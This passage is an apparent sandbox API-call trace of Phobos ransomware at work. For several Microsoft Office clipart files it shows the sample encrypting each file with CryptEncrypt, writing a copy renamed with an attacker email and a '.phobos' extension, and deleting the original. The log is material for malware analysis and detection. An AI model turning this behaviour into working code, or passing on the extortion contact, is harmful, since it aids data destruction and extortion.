(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0134.876] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.876] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1528) returned 1 [0134.877] CloseHandle (hObject=0x310) returned 1 [0134.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0134.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.877] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.877] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.877] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753198) returned 1 [0134.877] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.877] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5f8, lpOverlapped=0x0) returned 1 [0134.904] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x600, dwBufLen=0x600 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x600) returned 1 [0134.904] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x600, lpOverlapped=0x0) returned 1 [0134.905] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753098) returned 1 [0134.905] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.905] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.905] CryptDestroyKey (hKey=0x753098) returned 1 [0134.905] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.905] CryptDestroyKey (hKey=0x753198) returned 1 [0134.905] CloseHandle (hObject=0x310) returned 1 [0134.905] CloseHandle (hObject=0x30c) returned 1 [0134.905] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0134.906] SetEvent (hEvent=0x2b8) returned 1 [0134.906] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.907] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3298) returned 1 [0134.907] CloseHandle (hObject=0x30c) returned 1 [0134.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0134.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.907] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.907] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.931] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0134.931] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.931] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xce2, lpOverlapped=0x0) returned 1 [0135.051] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xcf0) returned 1 [0135.051] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xcf0, lpOverlapped=0x0) returned 1 [0135.052] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7531d8) returned 1 [0135.052] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.052] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.052] CryptDestroyKey (hKey=0x7531d8) returned 1 [0135.052] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.052] CryptDestroyKey (hKey=0x753098) returned 1 [0135.052] CloseHandle (hObject=0x30c) returned 1 [0135.052] CloseHandle (hObject=0x310) returned 1 [0135.052] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0135.056] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.057] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=5798) returned 1 [0135.057] CloseHandle (hObject=0x310) returned 1 [0135.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0135.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.057] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.057] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.058] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752a58) returned 1 [0135.058] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.058] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x16a6, lpOverlapped=0x0) returned 1 [0135.139] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x16b0) returned 1 [0135.139] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x16b0, lpOverlapped=0x0) returned 1 [0135.140] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753018) returned 1 [0135.140] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.140] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.140] CryptDestroyKey (hKey=0x753018) returned 1 [0135.140] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.140] CryptDestroyKey (hKey=0x752a58) returned 1 [0135.140] CloseHandle (hObject=0x310) returned 1 [0135.140] CloseHandle (hObject=0x30c) returned 1 [0135.140] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0135.141] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.141] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1468) returned 1 [0135.142] CloseHandle (hObject=0x30c) returned 1 [0135.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0135.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.142] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.142] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.143] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0135.143] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.143] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5bc, lpOverlapped=0x0) returned 1 [0135.151] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5c0) returned 1 [0135.151] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5c0, lpOverlapped=0x0) returned 1 [0135.153] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a58) returned 1 [0135.153] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.153] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.153] CryptDestroyKey (hKey=0x752a58) returned 1 [0135.153] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.154] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.154] CloseHandle (hObject=0x30c) returned 1 [0135.154] CloseHandle (hObject=0x310) returned 1 [0135.154] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0135.155] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.155] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=12632) returned 1 [0135.155] CloseHandle (hObject=0x310) returned 1 [0135.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0135.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.159] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.159] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.159] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753198) returned 1 [0135.159] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.159] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3158, lpOverlapped=0x0) returned 1 [0135.185] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3160, dwBufLen=0x3160 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3160) returned 1 [0135.185] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3160, lpOverlapped=0x0) returned 1 [0135.186] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a18) returned 1 [0135.186] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.186] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.186] CryptDestroyKey (hKey=0x752a18) returned 1 [0135.186] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.186] CryptDestroyKey (hKey=0x753198) returned 1 [0135.186] CloseHandle (hObject=0x310) returned 1 [0135.186] CloseHandle (hObject=0x30c) returned 1 [0135.186] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0135.187] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.188] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2116) returned 1 [0135.188] CloseHandle (hObject=0x30c) returned 1 [0135.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0135.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.188] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.188] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.189] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752b18) returned 1 [0135.189] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 